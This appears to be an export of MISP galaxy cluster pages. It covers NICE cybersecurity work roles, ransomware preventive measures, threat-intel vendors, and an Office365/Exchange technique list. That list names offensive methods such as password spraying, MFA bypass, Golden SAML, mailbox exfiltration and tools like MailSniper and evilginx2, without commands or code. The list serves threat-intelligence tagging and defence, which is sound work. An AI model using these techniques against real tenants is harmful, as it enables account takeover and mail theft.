Responsible for developing and maintaining cybersecurity plans, strategy, and policy to support and align with organizational cybersecurity initiative - OG-WRL-002

Responsible for developing and maintaining cybersecurity plans, strategy, and policy to support and align with organizational cybersecurity initiatives and regulatory compliance.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for developing and maintaining cybersecurity plans, strategy, and policy to support and align with organizational cybersecurity initiative - OG-WRL-002"*

Responsible for identifying intelligence collection authorities and environment; incorporating priority information requirements into intelligence col - CI-WRL-002

Responsible for identifying intelligence collection authorities and environment; incorporating priority information requirements into intelligence collection management; and developing concepts to meet leadership's intent. Determines capabilities of available intelligence collection assets; constructs and disseminates intelligence collection plans; and monitors execution of intelligence collection tasks to ensure effective execution of collection plans.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for identifying intelligence collection authorities and environment; incorporating priority information requirements into intelligence col - CI-WRL-002"*

Responsible for analyzing data from multiple disparate sources to provide cybersecurity and privacy insight. Designs and implements custom algorithms, - IO-WRL-001

Responsible for analyzing data from multiple disparate sources to provide cybersecurity and privacy insight. Designs and implements custom algorithms, workflow processes, and layouts for complex, enterprise-scale data sets used for modeling, data mining, and research purposes.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for analyzing data from multiple disparate sources to provide cybersecurity and privacy insight. Designs and implements custom*

algorithms, - IO-WRL-001"

Responsible for providing technical support to customers who need assistance utilizing client-level hardware and software in accordance with establish - IO-WRL-007

Responsible for providing technical support to customers who need assistance utilizing client-level hardware and software in accordance with established or approved organizational policies and processes.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for providing technical support to customers who need assistance utilizing client-level hardware and software in accordance with establish - IO-WRL-007"*

Responsible for setting up and maintaining a system or specific components of a system in adherence with organizational security policies and procedur - IO-WRL-005

Responsible for setting up and maintaining a system or specific components of a system in adherence with organizational security policies and procedures. Includes hardware and software installation, configuration, and updates; user account management; backup and recovery management; and security control implementation.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for setting up and maintaining a system or specific components of a system in adherence with organizational security policies and procedur - IO-WRL-005"*

Responsible for evaluating intelligence collection operations and developing effects-based collection requirements strategies using available sources - CI-WRL-003

Responsible for evaluating intelligence collection operations and developing effects-based collection requirements strategies using available sources and methods to improve collection. Develops, processes, validates, and coordinates submission of intelligence collection requirements. Evaluates performance of intelligence collection assets and operations.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for evaluating intelligence collection operations and developing effects-based collection requirements strategies using available sources - CI-WRL-003"*

Responsible for assessing systems and networks to identify deviations from acceptable configurations, enclave policy, or local policy. Measure effecti - PD-WRL-007

Responsible for assessing systems and networks to identify deviations from acceptable configurations, enclave policy, or local policy. Measure effectiveness of defense-in-depth architecture against known vulnerabilities.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for assessing systems and networks to identify deviations from acceptable configurations, enclave policy, or local policy. Measure effecti - PD-WRL-007"*

Responsible for investigating cyberspace intrusion incidents and crimes. Applies tactics, techniques, and procedures for a full range of investigative - IN-WRL-001

Responsible for investigating cyberspace intrusion incidents and crimes. Applies tactics, techniques, and procedures for a full range of investigative tools and processes and appropriately balances the benefits of prosecution versus intelligence gathering.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for investigating cyberspace intrusion incidents and crimes. Applies tactics, techniques, and procedures for a full range of investigative - IN-WRL-001"*

Responsible for identifying, collecting, examining, and preserving digital evidence using controlled and documented analytical and investigative techn - IN-WRL-002

Responsible for identifying, collecting, examining, and preserving digital evidence using controlled and documented analytical and investigative techniques.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for identifying, collecting, examining, and preserving digital evidence using controlled and documented analytical and investigative techn - IN-WRL-002"*

Responsible for administering databases and data management systems that allow for the secure storage, query, protection, and utilization of data. - IO-WRL-002

Responsible for administering databases and data management systems that allow for the secure storage, query, protection, and utilization of data.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for administering databases and data management systems that allow for the secure storage, query, protection, and utilization of data. - IO-WRL-002"*

Responsible for developing and analyzing the integration, testing, operations, and maintenance of systems security. Prepares, performs, and manages th - IO-WRL-006

Responsible for developing and analyzing the integration, testing, operations, and maintenance of systems security. Prepares, performs, and manages the security aspects of implementing and operating a system.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for developing and analyzing the integration, testing, operations, and maintenance of systems security. Prepares, performs, and manages th - IO-WRL-006"*

Responsible for planning, implementing, and operating network services and systems, including hardware and virtual environments. - IO-WRL-004

Responsible for planning, implementing, and operating network services and systems, including hardware and virtual environments.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for planning, implementing, and operating network services and systems, including hardware and virtual environments. - IO-WRL-004"*

Responsible for managing and administering processes and tools to identify, document, and access an organization’s intellectual capital. - IO-WRL-003

Responsible for managing and administering processes and tools to identify, document, and access an organization’s intellectual capital.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for managing and administering processes and tools to identify, document, and access an organization's intellectual capital. - IO-WRL-003"*

Responsible for testing, implementing, deploying, maintaining, and administering infrastructure hardware and software for cybersecurity. - PD-WRL-004

Responsible for testing, implementing, deploying, maintaining, and administering infrastructure hardware and software for cybersecurity.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for testing, implementing, deploying, maintaining, and administering infrastructure hardware and software for cybersecurity. - PD-WRL-004"*

Responsible for gathering evidence on criminal or foreign intelligence entities to mitigate and protect against possible or real-time threats. Conduct - CE-WRL-001

Responsible for gathering evidence on criminal or foreign intelligence entities to mitigate and protect against possible or real-time threats. Conducts collection, processing, and geolocation of systems to exploit, locate, and track targets. Performs network navigation and tactical forensic analysis and executes on-net operations when directed.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for gathering evidence on criminal or foreign intelligence entities to mitigate and protect against possible or real-time threats. Conduct - CE-WRL-001"*

Responsible for analyzing data collected from various cybersecurity defense tools to mitigate risks. - PD-WRL-001

Responsible for analyzing data collected from various cybersecurity defense tools to mitigate risks.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for analyzing data collected from various cybersecurity defense tools to mitigate risks. - PD-WRL-001"*

Responsible for identifying and assessing the capabilities and activities of cybersecurity insider threats; produces findings to help initialize and s - PD-WRL-005

Responsible for identifying and assessing the capabilities and activities of cybersecurity insider threats; produces findings to help initialize and support law enforcement and counterintelligence activities and investigations.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for identifying and assessing the capabilities and activities of cybersecurity insider threats; produces findings to help initialize and s - PD-WRL-005"*

Responsible for collecting, processing, analyzing, and disseminating cybersecurity threat assessments. Develops cybersecurity indicators to maintain a - PD-WRL-006

Responsible for collecting, processing, analyzing, and disseminating cybersecurity threat assessments. Develops cybersecurity indicators to maintain awareness of the status of the highly dynamic operating environment.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for collecting, processing, analyzing, and disseminating cybersecurity threat assessments. Develops cybersecurity indicators to maintain a - PD-WRL-006"*

Responsible for investigating, analyzing, and responding to network cybersecurity incidents. - PD-WRL-003

Responsible for investigating, analyzing, and responding to network cybersecurity incidents.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for investigating, analyzing, and responding to network cybersecurity incidents. - PD-WRL-003"*

Responsible for analyzing digital evidence from computer security incidents to derive useful information in support of system and network vulnerabilit - PD-WRL-002

Responsible for analyzing digital evidence from computer security incidents to derive useful

information in support of system and network vulnerability mitigation.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for analyzing digital evidence from computer security incidents to derive useful information in support of system and network vulnerabilit - PD-WRL-002"*

Responsible for conducting target development at the system, component, and entity levels. Builds and maintains electronic target folders to include i - CE-WRL-006

Responsible for conducting target development at the system, component, and entity levels. Builds and maintains electronic target folders to include inputs from environment preparation and/or internal or external intelligence sources. Coordinates with partner target working groups and intelligence community members, and presents candidate targets for vetting and validation. Assesses and reports on damage resulting from the application of military force and coordinates federal support as required.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for conducting target development at the system, component, and entity levels. Builds and maintains electronic target folders to include i - CE-WRL-006"*

Responsible for conducting advanced analysis of collection and open-source data to ensure target continuity; profiling targets and their activities; a - CE-WRL-007

Responsible for conducting advanced analysis of collection and open-source data to ensure target continuity; profiling targets and their activities; and developing techniques to gain target information. Determines how targets communicate, move, operate, and live based on knowledge of target technologies, digital networks, and applications.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for conducting advanced analysis of collection and open-source data to ensure target continuity; profiling targets and their activities; a - CE-WRL-007"*

Responsible for advancing cooperation across organizaitonal or national borders betwen cyber operations partners. Provides guidance, resources, and co - CE-WRL-005

Responsible for advancing cooperation across organizaitonal or national borders betwen cyber

operations partners. Provides guidance, resources, and collaboration to develop best practices and facilitate organizational support for achieving objectives in integrated cyber actions.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for advancing cooperation across organizaitonal or national borders betwen cyber operations partners. Provides guidance, resources, and co - CE-WRL-005"*

Responsible for developing assessment plans and performance measures; conducting strategic and operational effectiveness assessments for cyber events; - CE-WRL-004

Responsible for developing assessment plans and performance measures; conducting strategic and operational effectiveness assessments for cyber events; determining whether systems perform as expected; and providing input to the determination of operational effectiveness.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for developing assessment plans and performance measures; conducting strategic and operational effectiveness assessments for cyber events; - CE-WRL-004"*

Responsible for developing cybersecurity operations plans; participating in targeting selection, validation, and synchronization; and enabling integra - CE-WRL-002

Responsible for developing cybersecurity operations plans; participating in targeting selection, validation, and synchronization; and enabling integration during the execution of cyber actions.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for developing cybersecurity operations plans; participating in targeting selection, validation, and synchronization; and enabling integra - CE-WRL-002"*

Responsible for consulting with internal and external customers to evaluate and translate functional requirements and integrating security policies in - DD-WRL-006

Responsible for consulting with internal and external customers to evaluate and translate functional requirements and integrating security policies into technical solutions.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for consulting with internal and external customers to evaluate and translate functional requirements and integrating security policies in - DD-WRL-006"*

Responsible for ensuring that security requirements are adequately addressed in all aspects of enterprise architecture, including reference models, se - DD-WRL-001

Responsible for ensuring that security requirements are adequately addressed in all aspects of enterprise architecture, including reference models, segment and solution architectures, and the resulting systems that protect and support organizational mission and business processes.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for ensuring that security requirements are adequately addressed in all aspects of enterprise architecture, including reference models, se - DD-WRL-001"*

Responsible for developing, creating, modifying, and maintaining computer applications, software, or specialized utility programs. - DD-WRL-003

Responsible for developing, creating, modifying, and maintaining computer applications, software, or specialized utility programs.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for developing, creating, modifying, and maintaining computer applications, software, or specialized utility programs. - DD-WRL-003"*

Responsible for planning, preparing, and executing system tests; evaluating test results against specifications and requirements; and reporting test r - DD-WRL-007

Responsible for planning, preparing, and executing system tests; evaluating test results against specifications and requirements; and reporting test results and findings.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for planning, preparing, and executing system tests; evaluating test results against specifications and requirements; and reporting test r - DD-WRL-007"*

Responsible for conducting software and systems engineering and software systems research to develop new capabilities with fully integrated cybersecur - DD-WRL-008

Responsible for conducting software and systems engineering and software systems research to

develop new capabilities with fully integrated cybersecurity. Conducts comprehensive technology research to evaluate potential vulnerabilities in cyberspace systems.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for conducting software and systems engineering and software systems research to develop new capabilities with fully integrated cybersecur - DD-WRL-008"*

Responsible for identifying access and intelligence collection gaps that can be satisfied through cyber collection and/or preparation activities. Leve - CE-WRL-003

Responsible for identifying access and intelligence collection gaps that can be satisfied through cyber collection and/or preparation activities. Leverages all authorized resources and analytic techniques to penetrate targeted networks.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for identifying access and intelligence collection gaps that can be satisfied through cyber collection and/or preparation activities. Leve - CE-WRL-003"*

Responsible for analyzing the security of new or existing computer applications, software, or specialized utility programs and delivering actionable r - DD-WRL-005

Responsible for analyzing the security of new or existing computer applications, software, or specialized utility programs and delivering actionable results.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for analyzing the security of new or existing computer applications, software, or specialized utility programs and delivering actionable r - DD-WRL-005"*

Responsible for the secure design, development, and testing of systems and the evaluation of system security throughout the systems development life c - DD-WRL-004

Responsible for the secure design, development, and testing of systems and the evaluation of system security throughout the systems development life cycle.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for the secure design, development, and testing of systems and the evaluation of system security throughout the systems development life c - DD-WRL-004"*

Responsible for developing and maintaining business, systems, and information processes to support enterprise mission needs. Develops technology rules - DD-WRL-002

Responsible for developing and maintaining business, systems, and information processes to support enterprise mission needs. Develops technology rules and requirements that describe baseline and target architectures.

The tag is: *misp-galaxy:nice-framework-work_roles="Responsible for developing and maintaining business, systems, and information processes to support enterprise mission needs. Develops technology rules - DD-WRL-002"*

o365-exchange-techniques

o365-exchange-techniques - Office365/Exchange related techniques by @johnLaTwC and @inversecos.

> o365-exchange-techniques is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

John Lambert - Alexandre Dulaunoy - Lina Lau - Thomas Patzke

AAD - Dump users and groups with Azure AD

AAD - Dump users and groups with Azure AD

The tag is: *misp-galaxy:cloud-security="AAD - Dump users and groups with Azure AD"*

AAD - PowerShell

AAD - PowerShell

The tag is: *misp-galaxy:cloud-security="AAD - PowerShell"*

AAD - Enumerate Domains

AAD - Enumerate Domains

The tag is: *misp-galaxy:cloud-security="AAD - Enumerate Domains"*

AAD - Enumerate Users

AAD - Enumerate Users

The tag is: *misp-galaxy:cloud-security="AAD - Enumerate Users"*

O365 - Get Global Address List: MailSniper

O365 - Get Global Address List: MailSniper

The tag is: *misp-galaxy:cloud-security="O365 - Get Global Address List: MailSniper"*

O365 - Find Open Mailboxes: MailSniper

O365 - Find Open Mailboxes: MailSniper

The tag is: *misp-galaxy:cloud-security="O365 - Find Open Mailboxes: MailSniper"*

O365 - User account enumeration with ActiveSync

O365 - User account enumeration with ActiveSync

The tag is: *misp-galaxy:cloud-security="O365 - User account enumeration with ActiveSync"*

End Point - Search host for Azure Credentials: SharpCloud

End Point - Search host for Azure Credentials: SharpCloud

The tag is: *misp-galaxy:cloud-security="End Point - Search host for Azure Credentials: SharpCloud"*

On-Prem Exchange - Portal Recon

On-Prem Exchange - Portal Recon

The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - Portal Recon"*

On-Prem Exchange - Enumerate domain accounts: using Skype4B

On-Prem Exchange - Enumerate domain accounts: using Skype4B

The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - Enumerate domain accounts: using Skype4B"*

On-Prem Exchange - Enumerate domain accounts: OWA & Exchange

On-Prem Exchange - Enumerate domain accounts: OWA & Exchange

The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - Enumerate domain accounts: OWA & Exchange"*

On-Prem Exchange - Enumerate domain accounts: FindPeople

On-Prem Exchange - Enumerate domain accounts: FindPeople

The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - Enumerate domain accounts: FindPeople"*

On-Prem Exchange - OWA version discovery

On-Prem Exchange - OWA version discovery

The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - OWA version discovery"*

Bruteforce via OWA

Bruteforce via OWA

The tag is: *misp-galaxy:cloud-security="Bruteforce via OWA"*

Bruteforce EWS

Bruteforce EWS

The tag is: *misp-galaxy:cloud-security="Bruteforce EWS"*

Bruteforce OAuth

Bruteforce OAuth

The tag is: *misp-galaxy:cloud-security="Bruteforce OAuth"*

Bruteforce via AAD Sign in Form

Bruteforce via AAD Sign in Form

The tag is: *misp-galaxy:cloud-security="Bruteforce via AAD Sign in Form"*

Bruteforce through Autologon API

Bruteforce through Autologon API

The tag is: *misp-galaxy:cloud-security="Bruteforce through Autologon API"*

AAD - Password Spray: MailSniper

AAD - Password Spray: MailSniper

The tag is: *misp-galaxy:cloud-security="AAD - Password Spray: MailSniper"*

AAD - Password Spray: CredKing

AAD - Password Spray: CredKing

The tag is: *misp-galaxy:cloud-security="AAD - Password Spray: CredKing"*

O365 - Bruteforce of Autodiscover: SensePost Ruler

O365 - Bruteforce of Autodiscover: SensePost Ruler

The tag is: *misp-galaxy:cloud-security="O365 - Bruteforce of Autodiscover: SensePost Ruler"*

O365 - Phishing for credentials

O365 - Phishing for credentials

The tag is: *misp-galaxy:cloud-security="O365 - Phishing for credentials"*

O365 - Phishing using OAuth app

O365 - Phishing using OAuth app

The tag is: *misp-galaxy:cloud-security="O365 - Phishing using OAuth app"*

O365 - 2FA MITM Phishing: evilginx2

O365 - 2FA MITM Phishing: evilginx2

The tag is: *misp-galaxy:cloud-security="O365 - 2FA MITM Phishing: evilginx2"*

O365 - MFA Bypass via IMAP/POP

O365 - MFA Bypass via IMAP/POP

The tag is: *misp-galaxy:cloud-security="O365 - MFA Bypass via IMAP/POP"*

Compromising Pass-Through Authentication

Compromising Pass-Through Authentication

The tag is: *misp-galaxy:cloud-security="Compromising Pass-Through Authentication"*

Enumerate Users, Admins, Roles and Permissions

Enumerate Users, Admins, Roles and Permissions

The tag is: *misp-galaxy:cloud-security="Enumerate Users, Admins, Roles and Permissions"*

Enumerate MFA Settings

Enumerate MFA Settings

The tag is: *misp-galaxy:cloud-security="Enumerate MFA Settings"*

Golden SAML

Golden SAML

The tag is: *misp-galaxy:cloud-security="Golden SAML"*

On-Prem Exchange - Password Spray using Invoke-PasswordSprayOWA, EWS

On-Prem Exchange - Password Spray using Invoke-PasswordSprayOWA, EWS

The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - Password Spray using Invoke-PasswordSprayOWA, EWS"*

On-Prem Exchange - Bruteforce of Autodiscover: SensePost Ruler

On-Prem Exchange - Bruteforce of Autodiscover: SensePost Ruler

The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - Bruteforce of Autodiscover: SensePost Ruler"*

Change MFA Settings

Change MFA Settings

The tag is: *misp-galaxy:cloud-security="Change MFA Settings"*

Change Conditional Access Settings

Change Conditional Access Settings

The tag is: *misp-galaxy:cloud-security="Change Conditional Access Settings"*

Malicious App Registrations

Malicious App Registrations

The tag is: *misp-galaxy:cloud-security="Malicious App Registrations"*

Add Service Principal or App Credentials

Add Service Principal or App Credentials

The tag is: *misp-galaxy:cloud-security="Add Service Principal or App Credentials"*

Add Service Principal

Add Service Principal

The tag is: *misp-galaxy:cloud-security="Add Service Principal"*

Add Federation Trust

Add Federation Trust

The tag is: *misp-galaxy:cloud-security="Add Federation Trust"*

O365 - Add Mail forwarding rule

O365 - Add Mail forwarding rule

The tag is: *misp-galaxy:cloud-security="O365 - Add Mail forwarding rule"*

Add Global admin account

Add Global admin account

The tag is: *misp-galaxy:cloud-security="Add Global admin account"*

Add user account

Add user account

The tag is: *misp-galaxy:cloud-security="Add user account"*

O365 - Delegate Tenant Admin

O365 - Delegate Tenant Admin

The tag is: *misp-galaxy:cloud-security="O365 - Delegate Tenant Admin"*

End Point - Persistence throught Outlook Home Page: SensePost Ruler

End Point - Persistence throught Outlook Home Page: SensePost Ruler

The tag is: *misp-galaxy:cloud-security="End Point - Persistence throught Outlook Home Page: SensePost Ruler"*

End Point - Persistence throught custom Outlook form

End Point - Persistence throught custom Outlook form

The tag is: *misp-galaxy:cloud-security="End Point - Persistence throught custom Outlook form"*

Mailbox Rule Creation

Mailbox Rule Creation

The tag is: *misp-galaxy:cloud-security="Mailbox Rule Creation"*

Mailbox Folder Permissions

Mailbox Folder Permissions

The tag is: *misp-galaxy:cloud-security="Mailbox Folder Permissions"*

Mail Flow (Transport Rules)

Mail Flow (Transport Rules)

The tag is: *misp-galaxy:cloud-security="Mail Flow (Transport Rules)"*

O365 - MailSniper: Search Mailbox for credentials

O365 - MailSniper: Search Mailbox for credentials

The tag is: *misp-galaxy:cloud-security="O365 - MailSniper: Search Mailbox for credentials"*

O365 - Search for Content with eDiscovery

O365 - Search for Content with eDiscovery

The tag is: *misp-galaxy:cloud-security="O365 - Search for Content with eDiscovery"*

O365 - Account Takeover: Add-MailboxPermission

O365 - Account Takeover: Add-MailboxPermission

The tag is: *misp-galaxy:cloud-security="O365 - Account Takeover: Add-MailboxPermission"*

O365 - Pivot to On-Prem host: SensePost Ruler

O365 - Pivot to On-Prem host: SensePost Ruler

The tag is: *misp-galaxy:cloud-security="O365 - Pivot to On-Prem host: SensePost Ruler"*

O365 - Exchange Tasks for C2: MWR

O365 - Exchange Tasks for C2: MWR

The tag is: *misp-galaxy:cloud-security="O365 - Exchange Tasks for C2: MWR"*

O365 - Send Internal Email

O365 - Send Internal Email

The tag is: *misp-galaxy:cloud-security="O365 - Send Internal Email"*

On-Prem Exchange - Search Mailboxes with eDiscovery searches (EXO, Teams, SPO, OD4B, Skype4B)

On-Prem Exchange - Search Mailboxes with eDiscovery searches (EXO, Teams, SPO, OD4B, Skype4B)

The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - Search Mailboxes with eDiscovery searches (EXO, Teams, SPO, OD4B, Skype4B)"*

On-Prem Exchange - Delegation

On-Prem Exchange - Delegation

The tag is: *misp-galaxy:cloud-security="On-Prem Exchange - Delegation"*

O365 - MailSniper: Search Mailbox for content

O365 - MailSniper: Search Mailbox for content

The tag is: *misp-galaxy:cloud-security="O365 - MailSniper: Search Mailbox for content"*

O365 - Exfiltration email using EWS APIs with PowerShell

O365 - Exfiltration email using EWS APIs with PowerShell

The tag is: *misp-galaxy:cloud-security="O365 - Exfiltration email using EWS APIs with PowerShell"*

Downgrade License

Downgrade License

The tag is: *misp-galaxy:cloud-security="Downgrade License"*

Impersonate Users

Impersonate Users

The tag is: *misp-galaxy:cloud-security="Impersonate Users"*

Assign Administrative Role to Service Principal

Assign Administrative Role to Service Principal

The tag is: *misp-galaxy:cloud-security="Assign Administrative Role to Service Principal"*

Elevate to User Access Administrator Role

Elevate to User Access Administrator Role

The tag is: *misp-galaxy:cloud-security="Elevate to User Access Administrator Role"*

eDiscovery Abuse

eDiscovery Abuse

The tag is: *misp-galaxy:cloud-security="eDiscovery Abuse"*

O365 - Download documents, messages and email

O365 - Download documents, messages and email

The tag is: *misp-galaxy:cloud-security="O365 - Download documents, messages and email"*

online-service

Known public online services..

online-service is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MISP Project

Notion

Your wiki, docs, & projects. Together. Notion is the connected workspace where better, faster work happens.

The tag is: *misp-galaxy:online-service="Notion"*

View relationships graph

Notion has relationships with:

- used-by: misp-galaxy:tool="SNOWYAMBER" with estimative-language:likelihood-probability="likely"

Table 12851. Table References

Links
https://www.notion.so/product

Preventive Measure

Preventive measures based on the ransomware document overview as published in https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml# . The preventive measures are quite generic and can fit any standard Windows infrastructure and their security measures..

Preventive Measure is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

Backup and Restore Process

Make sure to have adequate backup processes on place and frequently test a restore of these backups. (Schrödinger's backup - it is both existent and non-existent until you've tried a restore

The tag is: *misp-galaxy:preventive-measure="Backup and Restore Process"*

Table 12852. Table References

Links
http://windows.microsoft.com/en-us/windows/back-up-restore-faq#1TC=windows-7.

Block Macros

Disable macros in Office files downloaded from the Internet. This can be configured to work in two different modes: A.) Open downloaded documents in 'Protected View' B.) Open downloaded documents and block all macros

The tag is: *misp-galaxy:preventive-measure="Block Macros"*

Table 12853. Table References

Links
https://support.office.com/en-us/article/Enable-or-disable-macros-in-Office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6?ui=en-US&rs=en-US&ad=US
https://www.404techsupport.com/2016/04/office2016-macro-group-policy/?utm_source=dlvr.it&utm_medium=twitter

Disable WSH

Disable Windows Script Host

The tag is: *misp-galaxy:preventive-measure="Disable WSH"*

Table 12854. Table References

Links
http://www.windowsnetworking.com/kbase/WindowsTips/WindowsXP/AdminTips/Customization/DisableWindowsScriptingHostWSH.html

Filter Attachments Level 1

Filter the following attachments on your mail gateway: .ade, .adp, .ani, .bas, .bat, .chm, .cmd, .com, .cpl, .crt, .exe, .hlp, .ht, .hta, .inf, .ins, .isp, .jar, .job, .js, .jse, .lnk, .mda, .mdb, .mde, .mdz, .msc, .msi, .msp, .mst, .ocx, .pcd, .ps1, .reg, .scr, .sct, .shs, .svg, .url, .vb, .vbe, .vbs, .wbk, .wsc, .ws, .wsf, .wsh, .exe, .pif, .pub

The tag is: *misp-galaxy:preventive-measure="Filter Attachments Level 1"*

Filter Attachments Level 2

Filter the following attachments on your mail gateway: (Filter expression of Level 1 plus) .doc, .xls, .rtf, .docm, .xlsm, .pptm

The tag is: *misp-galaxy:preventive-measure="Filter Attachments Level 2"*

Restrict program execution

Block all program executions from the %LocalAppData% and %AppData% folder

The tag is: *misp-galaxy:preventive-measure="Restrict program execution"*

Table 12855. Table References

Links
http://www.fatdex.net/php/2014/06/01/disable-exes-from-running-inside-any-user-appdata-directory-gpo/
http://www.thirdtier.net/ransomware-prevention-kit/

Show File Extensions

Set the registry key "HideFileExt" to 0 in order to show all file extensions, even of known file types. This helps avoiding cloaking tricks that use double extensions. (e.g. "not_a_virus.pdf.exe")

The tag is: *misp-galaxy:preventive-measure="Show File Extensions"*

Table 12856. Table References

Links
http://www.sevenforums.com/tutorials/10570-file-extensions-hide-show.htm

Enforce UAC Prompt

Enforce administrative users to confirm an action that requires elevated rights

The tag is: *misp-galaxy:preventive-measure="Enforce UAC Prompt"*

Table 12857. Table References

Links
https://technet.microsoft.com/en-us/library/dd835564(WS.10).aspx

Remove Admin Privileges

Remove and restrict administrative rights whenever possible. Malware can only modify files that users have write access to.

The tag is: *misp-galaxy:preventive-measure="Remove Admin Privileges"*

Restrict Workstation Communication

Activate the Windows Firewall to restrict workstation to workstation communication

The tag is: *misp-galaxy:preventive-measure="Restrict Workstation Communication"*

Sandboxing Email Input

Using sandbox that opens email attachments and removes attachments based on behavior analysis

The tag is: *misp-galaxy:preventive-measure="Sandboxing Email Input"*

Execution Prevention

Software that allows to control the execution of processes - sometimes integrated in Antivirus software Free: AntiHook, ProcessGuard, System Safety Monitor

The tag is: *misp-galaxy:preventive-measure="Execution Prevention"*

Change Default "Open With" to Notepad

Force extensions primarily used for infections to open up in Notepad rather than Windows Script Host or Internet Explorer

The tag is: *misp-galaxy:preventive-measure="Change Default "Open With" to Notepad"*

Table 12858. Table References

Links
https://bluesoul.me/2016/05/12/use-gpo-to-change-the-default-behavior-of-potentially-malicious-file-extensions/

File Screening

Server-side file screening with the help of File Server Resource Manager

The tag is: *misp-galaxy:preventive-measure="File Screening"*

Table 12859. Table References

Links
http://jpelectron.com/sample/Info%20and%20Documents/Stop%20crypto%20badware%20before%20it%20ruins%20your%20day/1-PreventCrypto-Readme.htm

Restrict program execution #2

Block program executions (AppLocker)

The tag is: *misp-galaxy:preventive-measure="Restrict program execution #2"*

Table 12860. Table References

Links
https://technet.microsoft.com/en-us/library/dd759117%28v=ws.11%29.aspx
http://social.technet.microsoft.com/wiki/contents/articles/5211.how-to-configure-applocker-group-policy-to-prevent-software-from-running.aspx

EMET

Detect and block exploitation techniques

The tag is: *misp-galaxy:preventive-measure="EMET"*

Table 12861. Table References

Links
www.microsoft.com/emet[www.microsoft.com/emet]
http://windowsitpro.com/security/control-emet-group-policy

Sysmon

Detect Ransomware in an early stage with new Sysmon 5 File/Registry monitoring

The tag is: *misp-galaxy:preventive-measure="Sysmon"*

Table 12862. Table References

Links
https://twitter.com/JohnLaTwC/status/799792296883388416

Blacklist-phone-numbers

Filter the numbers at phone routing level including PABX

The tag is: *misp-galaxy:preventive-measure="Blacklist-phone-numbers"*

Table 12863. Table References

Links
https://wiki.freepbx.org/display/FPG/Blacklist+Module+User+Guide#BlacklistModuleUserGuide-ImportingorExportingaBlacklistinCSVFileFormat

ACL

Restrict access to shares users should not be allowed to write to

The tag is: *misp-galaxy:preventive-measure="ACL"*

Table 12864. Table References

Links
https://docs.microsoft.com/en-us/windows/desktop/secauthz/access-control-lists

Packet filtering

Limit access to a service by network/packet filtering the access to

The tag is: *misp-galaxy:preventive-measure="Packet filtering"*

Table 12865. Table References

Links
https://en.wikipedia.org/wiki/Firewall_(computing)

Producer

List of threat intelligence producer from security vendors to CERTs including any producer of intelligence at large..

Producer is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

Intel471

Intel 471 provides adversary and malware intelligence for leading security teams. Our adversary intelligence is focused on infiltrating access to closed sources where threat actors collaborate, communicate and plan cyber attacks. Our malware intelligence leverages our adversary intelligence and underground capabilities to provide timely data and context on malicious infrastructure.

The tag is: *misp-galaxy:producer="Intel471"*

Intel471 is also known as:

- Intel 471 Inc.
- Intel 471

Table 12866. Table References

Links
https://www.applytosupply.digitalmarketplace.service.gov.uk/g-cloud/services/448869643798857

Sophos

Sophos Ltd. is a British-based security software and hardware company. It was listed on the London Stock Exchange until it was acquired by Thoma Bravo in February 2020

The tag is: *misp-galaxy:producer="Sophos"*

Sophos is also known as:

- Sophos LTD

Table 12867. Table References

Links
https://www.sophos.com/en-us/legal

Group-IB

Group-IB is a creator of cybersecurity technologies to investigate, prevent and fight digital crime

The tag is: *misp-galaxy:producer="Group-IB"*

Table 12868. Table References

Links
https://www.group-ib.com/about-us/

Mandiant

Mandiant is an American cybersecurity firm and a subsidiary of Google.

The tag is: *misp-galaxy:producer="Mandiant"*

Table 12869. Table References

Links
https://en.wikipedia.org/wiki/Mandiant

Spycloud

Thread intelligence provider focusing on data leaks

The tag is: *misp-galaxy:producer="Spycloud"*

Domaintools

DomainTools is a leading provider of Whois and other DNS profile data for threat intelligence enrichment.

The tag is: *misp-galaxy:producer="Domaintools"*

